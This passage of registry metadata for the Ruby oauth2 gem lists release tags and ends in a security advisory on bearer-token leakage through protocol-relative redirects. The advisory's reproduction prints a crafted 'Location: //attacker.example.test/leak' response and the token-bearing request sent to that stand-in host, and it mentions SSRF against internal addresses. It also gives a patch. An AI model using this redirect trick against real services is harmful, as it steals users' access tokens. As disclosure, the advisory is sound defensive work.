.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.7.0/manifests"},{"name":"v0.6.1","sha":"68d5698b3677a88a4b27e613b342ba287543f2bc","kind":"tag","published_at":"2012-04-18T14:36:04.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.6.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"095f1d923be21068f19508cb2c9a440127a01f71","kind":"tag","published_at":"2012-04-12T19:27:09.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.6.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.6.0/manifests"},{"name":"v0.5.2","sha":"e89210ac197350a25d88145eab72f0eefd551c96","kind":"tag","published_at":"2012-01-04T08:34:09.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.5.2","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"1d33069a27e3f72d25211c428605b8efe2dd76b4","kind":"tag","published_at":"2011-09-26T22:33:56.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.5.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"0c50e78dd72ed2e348fad719d589d49219070e62","kind":"tag","published_at":"2011-07-29T19:47:17.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.5.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.0/manifests"},{"name":"v0.5.0.rc2","sha":"11322b3961a765124d7c0b5620ecf23823a85603","kind":"tag","published_at":"2011-07-21T22:24:34.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.5.0.rc2","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"2d35cfaa03c14c05dd1347b02b53587b5e29e0ad","kind":"tag","published_at":"2011-06-27T16:32:34.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.5.0.rc1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.1","sha":"7c47bcaeac146a42a7d48beb9fdf250189e53492","kind":"tag","published_at":"2011-04-22T07:47:51.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.4.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"03f4efb927afd42c9fbd9da6ed029dd797539e58","kind":"tag","published_at":"2011-04-20T07:09:56.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.4.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.4.0/manifests"},{"name":"v0.3.0","sha":"b789eed6af5e6202373049925f543c1feefe4206","kind":"tag","published_at":"2011-04-08T08:45:10.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.3.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"822f527e1db66400ade48c042591413ea1ef939a","kind":"tag","published_at":"2011-04-01T15:54:54.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.2.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.2.0/manifests"},{"name":"v0.1.1","sha":"49770b350f5de871181b6a6e86b5eebd9c7cf101","kind":"commit","published_at":"2011-01-12T21:44:22.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.1.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.1.1/manifests"},{"name":"v0.1.0","sha":"17a618976b1df8b5898486cadfd0e9ac43966caf","kind":"tag","published_at":"2010-10-13T07:10:39.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.1.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.1.0/manifests"},{"name":"v0.0.13","sha":"326261a644fc63fb9bc95faa76b4084874468ebf","kind":"commit","published_at":"2010-08-17T20:10:36.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.13","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.13/manifests"},{"name":"v0.0.12","sha":"94d58a24e62a1729a8e7fd28c6af34500eb36646","kind":"commit","published_at":"2010-08-17T19:58:24.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.12","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.12/manifests"},{"name":"v0.0.11","sha":"e802246588e70cdaf2e43c77434563b204894996","kind":"commit","published_at":"2010-08-17T19:24:16.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.11","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.11/manifests"},{"name":"v0.0.10","sha":"d471df72c2ccaa98610f1c57f68234d01c6f645d","kind":"commit","published_at":"2010-06-19T15:03:47.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.10","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.10/manifests"},{"name":"v0.0.9","sha":"8c383cd73cd41ecc3d02277bcecba0d7408f25d0","kind":"commit","published_at":"2010-06-18T16:31:21.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.9","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.9/manifests"},{"name":"v0.0.8","sha":"3b7ccb50996138615e12759aae7050108f82d25b","kind":"commit","published_at":"2010-04-27T18:05:12.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.8","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.8/manifests"},{"name":"v0.0.7","sha":"c5f6d0e228caa496acdd38ef8e98986cb663ad5e","kind":"commit","published_at":"2010-04-27T16:22:44.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.7","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.7/manifests"},{"name":"v0.0.6","sha":"d67e48f09dce93665cd563c677e1af47e76ae096","kind":"commit","published_at":"2010-04-25T15:12:04.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.6","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.6/manifests"},{"name":"v0.0.5","sha":"6311eedda64dfe61a77f2c3c9baad84a40fac4fe","kind":"commit","published_at":"2010-04-24T00:01:13.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.5","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.5/manifests"},{"name":"v0.0.4","sha":"d6b329283004958e9679c4a1044bbce646d96335","kind":"commit","published_at":"2010-04-22T18:37:06.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.4","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.4/manifests"},{"name":"v0.0.3","sha":"ad1bc5307a2d6821763c585a5a7067292216e7b5","kind":"commit","published_at":"2010-04-22T18:32:10.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.3","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.3/manifests"},{"name":"v0.0.2","sha":"d5ac16287238f8b71b066ec95bce858486a67736","kind":"commit","published_at":"2010-04-22T05:24:44.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.2","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.2/manifests"},{"name":"v0.0.1","sha":"157c33e734cb7f975f25c25e904f10df0327a2e3","kind":"commit","published_at":"2010-04-22T05:19:33.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.1/manifests"}]},"repo_metadata_updated_at":"2026-08-16T10:00:45.306Z","dependent_packages_count":0,"downloads":272329438,"downloads_period":"total","dependent_repos_count":0,"rankings":{"downloads":0.10434575750694738,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":0.1438133238178653,"average":0.06203977033120317},"purl":"pkg:gem/oauth2?repository_url=https://gem.coop","advisories":[{"uuid":"GSA_kwCzR0hTQS1wcDkyLWNyZzItZ2Z2Oc4ABgmi","url":"https://github.com/advisories/GHSA-pp92-crg2-gfv9","title":"OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host","description":"## Summary\n\nWhen an application uses `OAuth2::Client` (typically via an `OAuth2::AccessToken`) and the configured authorization server returns a redirect whose `Location` header is a protocol-relative URI of the form `//attacker.example/leak`, `OAuth2::Client#request` resolves the redirect with `response.response.env.url.merge(location)`. Per RFC 3986 §5.2, an input that starts with `//` is a network-path reference and replaces the authority of the base URL: `URI(\"http://idp.trusted/userinfo\").merge(\"//attacker.example/leak\")` returns `http://attacker.example/leak`. The recursive `request(verb, full_location, req_opts)` call then re-sends the request to the attacker host while preserving the `Authorization: Bearer \u003caccess-token\u003e` header that `OAuth2::AccessToken#configure_authentication!` installed on `req_opts[:headers]` for the original request.\n\nThe result is a one-shot cross-origin credential disclosure: any 30x response from the IdP that an attacker can influence (a compromised endpoint, a tenant-controlled IdP in a multi-tenant deployment, or an open-redirect handler that does not normalise the `Location` it emits) can extract the bearer access token of the calling user.\n\n## Affected\n\n- `oauth2` v2.0.21 and all prior versions back to and including v0.4.0.\n  - The underlying unsafe redirect-following behavior that reuses headers starts in v0.4.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73\n  - The vulnerability was retained when the code was refactored to a redirect helper, and in this form has been present in `OAuth2::Client#request` since v2.0.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73\n- Ruby 4.0.5 on `arm64-darwin25`. The behaviour of `URI#merge` for protocol-relative inputs is RFC-conformant and the same on every supported Ruby (≥ 2.x).\n- Adapter independence: confirmed against the default `faraday` 2.14.2 + `faraday-net_http` 3.4.3 stack. The `URI#merge` call is in `oauth2` itself, not in Faraday, so the issue is not adapter-specific.\n\n## Impact\n\nA consumer that uses `OAuth2::AccessToken#get` / `#post` / `#request` against an IdP whose redirect target an attacker can influence (open redirect, malicious tenant, or in-path adversary) loses two things at once:\n\n1. **Cross-origin credential disclosure.** The connection-scoped `Authorization: Bearer \u003ctoken\u003e` header attached by `OAuth2::AccessToken#configure_authentication!` is sent to the attacker host on the very next request, with no second user interaction.\n2. **SSRF from the application server.** The OAuth2 client follows the redirect on behalf of the application, so the host that ultimately receives the request is one the attacker chooses — useful for hitting internal addresses (`//169.254.169.254/...`, `//127.0.0.1:.../...`) that the application server can reach but the attacker cannot.\n\nThe combined primitive is stronger than the usual cross-origin-redirect leak because no application-level cooperation is required and no `Location: http://attacker/...` is needed — the protocol-relative `//attacker/x` form slips past naive scheme-based Location filters that allow same-scheme-implicit redirects.\n\n## Vulnerable code\n\n[`lib/oauth2/client.rb#L146-L182`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/client.rb#L146-L182) at commit `e2d509705db6091c8d5f27c31e29c58e39e51c7c` (tag `v2.0.20`):\n\n```ruby\ndef request(verb, url, req_opts = {}, \u0026block)\n  response = execute_request(verb, url, req_opts, \u0026block)\n  status = response.status\n\n  case status\n  when 301, 302, 303, 307\n    req_opts[:redirect_count] ||= 0\n    req_opts[:redirect_count] += 1\n    return response if req_opts[:redirect_count] \u003e options[:max_redirects]\n\n    if status == 303\n      verb = :get\n      req_opts.delete(:body)\n    end\n    location = response.headers[\"location\"]\n    if location\n      full_location = response.response.env.url.merge(location)  # \u003c-- protocol-relative input replaces authority\n      request(verb, full_location, req_opts)\n    # ...\n```\n\n`response.response.env.url` is the resolved URL of the prior request (always absolute, since Faraday's `build_exclusive_url` produces an absolute URI). `location` is the raw `Location` response header, with no validation. `URI#merge` follows RFC 3986 §5.2 and treats `//host/path` as a network-path reference, dropping the base authority and adopting the input's host. The recursive `request(verb, full_location, req_opts)` then re-enters with `req_opts` unchanged, which means any `Authorization` header that `OAuth2::AccessToken#configure_authentication!` placed in `req_opts[:headers]` for the original request travels with the redirected request to the attacker-controlled host.\n\nThe credential plumbing is at [`lib/oauth2/access_token.rb#L376-L408`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/access_token.rb#L376-L408):\n\n```ruby\ndef configure_authentication!(opts, verb)\n  # ...\n  case mode\n  when :header\n    opts[:headers] ||= {}\n    opts[:headers].merge!(headers)\n  # ...\nend\n\ndef headers\n  {\"Authorization\" =\u003e options[:header_format] % token}\nend\n```\n\nThe default token mode is `:header`, so every `AccessToken#get` / `#post` / `#request` call attaches `Authorization: Bearer \u003ctoken\u003e` to `req_opts[:headers]`. That same dictionary is then forwarded verbatim into the redirected request, because `Client#request` does not inspect or strip `req_opts[:headers]` when the redirect crosses origins.\n\n## Reachable in production\n\nThe vulnerable path is the documented `AccessToken#get` / `AccessToken#post` flow that every `oauth2` integration uses to call a resource server after the token exchange. The redirect handler is enabled unconditionally for status codes 301, 302, 303, and 307, up to `options[:max_redirects]` hops (default 5). No opt-in flag is required: a single 302 response with a protocol-relative `Location` header is enough to redirect the next request to an attacker host with the bearer token attached.\n\nRealistic upstream triggers:\n\n1. **Open redirect on the IdP.** Many authorization servers expose endpoints that emit `Location` based on user input (for example logout flows, `redirect_uri` echoes, branded splash pages). When that endpoint does not normalise the user-supplied target, an attacker can plant `//attacker.example/leak` as the redirect target and induce the oauth2 client to follow it.\n2. **Tenant-controlled IdP.** Multi-tenant SaaS where each tenant configures its own OIDC issuer URL via `OAuth2::Client.new(... , site: tenant_supplied_url)` allows a malicious tenant to set `site:` to its own server and emit the protocol-relative `Location` directly.\n3. **Compromised or downgraded IdP.** A network-position adversary capable of altering a single response header before TLS termination (for example via a proxy that legitimately rewrites Location headers) can craft the protocol-relative form.\n\nIn all three cases the access token is sent to the attacker host on the very next request: there is no second-hop redirect chain, no second user interaction, and no opportunity for the application to inspect the redirect target.\n\n## Reproduction\n\nThe issue can be reproduced with a client using the default bearer-token header mode against an `oauth2` version before `2.0.22`.\n\nMinimal setup:\n\n```ruby\nrequire \"oauth2\"\n\nclient = OAuth2::Client.new(\n  \"client-id\",\n  \"client-secret\",\n  site: \"http://idp.example.test\"\n)\n\ntoken = OAuth2::AccessToken.new(client, \"SECRET-BEARER-TOKEN\")\ntoken.get(\"/userinfo\")\n```\n\nIf the configured authorization/resource server responds to that request with a redirect such as:\n\n```http\nHTTP/1.1 302 Found\nLocation: //attacker.example.test/leak\nContent-Length: 0\n```\n\nthen vulnerable versions resolve the protocol-relative `Location` as a cross-origin URL and recursively issue the follow-up request while preserving the original request headers. Because `OAuth2::AccessToken` uses `Authorization: Bearer \u003ctoken\u003e` by default, the next request is sent to the attacker-controlled host with the bearer token attached:\n\n```http\nGET /leak HTTP/1.1\nHost: attacker.example.test\nAuthorization: Bearer SECRET-BEARER-TOKEN\n```\n\nThis requires no special Faraday adapter behavior. The vulnerable redirect handling is in `OAuth2::Client#request`; the attacker-controlled input is the raw `Location` header value from a 30x response.\n\n### Patched-build verification\n\nMonkey-patch `OAuth2::Client#request` so that protocol-relative `Location` values are forced down the relative-path branch of `URI#merge` by prepending `./`. Re-run the attack against the same `poc_collector.rb` instance.\n\n```ruby\nmodule OAuth2\n  class Client\n    def request(verb, url, req_opts = {}, \u0026block)\n      response = execute_request(verb, url, req_opts, \u0026block)\n      status = response.status\n      case status\n      when 301, 302, 303, 307\n        req_opts[:redirect_count] ||= 0\n        req_opts[:redirect_count] += 1\n        return response if req_opts[:redirect_count] \u003e options[:max_redirects]\n        verb = :get and req_opts.delete(:body) if status == 303\n        location = response.headers[\"location\"]\n        if location\n          # PATCH: neutralise protocol-relative location before URI#merge.\n          safe_location = location.start_with?(\"//\") ? \"./#{location}\" : location\n          full_location = response.response.env.url.merge(safe_location)\n          request(verb, full_location, req_opts)\n        else\n          raise(Error.new(response), \"Got #{status} status code, but no Location header was present\")\n        end\n      # ... unchanged fallthrough ...\n      end\n    end\n  end\nend\n```\n\nAfter applying the patch, the same `token.get(\"/userinfo\")` call resolves the attack `Location: //127.0.0.1:4568/leak` to `http://127.0.0.1:4567/127.0.0.1:4568/leak` — same host as the IdP — and `:4568` never receives the bearer token. The IdP redirect loop trips `max_redirects` and the helper returns `status: 302` to the caller with no off-host request. Collector log after the patched run shows `:4568` LEAK count unchanged from the negative control:\n\n```text\n[idp:4567] hit  req_line=GET /userinfo HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n[idp:4567] hit  req_line=GET ///127.0.0.1:4568/leak HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n[idp:4567] hit  req_line=GET ///127.0.0.1:4568///127.0.0.1:4568/leak HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n```\n\nAll hops stay on `127.0.0.1:4567`. The bearer token never leaves the IdP.\n\n## Suggested fix\n\nTreat protocol-relative `Location` values as relative paths when resolving against the prior request URL. The smallest local fix is the `./` prefix used in `Faraday::Connection#build_exclusive_url` for the same primitive (see lines 485-488 of `faraday/lib/faraday/connection.rb`):\n\n```ruby\nlocation = response.headers[\"location\"]\nif location\n  # Force protocol-relative inputs to be interpreted as relative paths so they\n  # cannot override the base authority via RFC 3986 §5.2 network-path reference.\n  safe_location = location.respond_to?(:start_with?) \u0026\u0026 location.start_with?(\"//\") \\\n    ? \"./#{location}\" : location\n  full_location = response.response.env.url.merge(safe_location)\n  request(verb, full_location, req_opts)\n```\n\nA defence-in-depth follow-up is to also strip credential-bearing headers (`Authorization`, plus any custom headers configured via `header_format`) from `req_opts[:headers]` when the resolved host changes across the redirect, which mirrors how Mechanize handles cross-host redirects in `lib/mechanize/http/agent.rb#L1068-L1077`. That additional check protects against the orthogonal case where an attacker controls an absolute `Location: http://attacker.example/...` value on a same-host open-redirect endpoint.\n\n## Credit\n\nReported by tonghuaroot.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-28T16:32:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/ruby-oauth/oauth2/security/advisories/GHSA-pp92-crg2-gfv9","https://github.com/ruby-oauth/oauth2/commit/0f0a474f1b38453e119e660c2daca742d4378ce9","https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.22","https://github.com/advisories/GHSA-pp92-crg2-gfv9"],"source_kind":"github","identifiers":["GHSA-pp92-crg2-gfv9","CVE-2026-54603"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-28T17:00:33.001Z","updated_at":"2026-07-30T14:00:11.868Z","epss_percentage":0.00268,"epss_percentile":0.18796,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcDkyLWNyZzItZ2Z2Oc4ABgmi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcDkyLWNyZzItZ2Z2Oc4ABgmi","packages":[{"ecosystem":"rubygems","package_name":"oauth2","versions":[{"first_patched_version":"2.0.22","vulnerable_version_range":"\u003e= 0.4.0, \u003c= 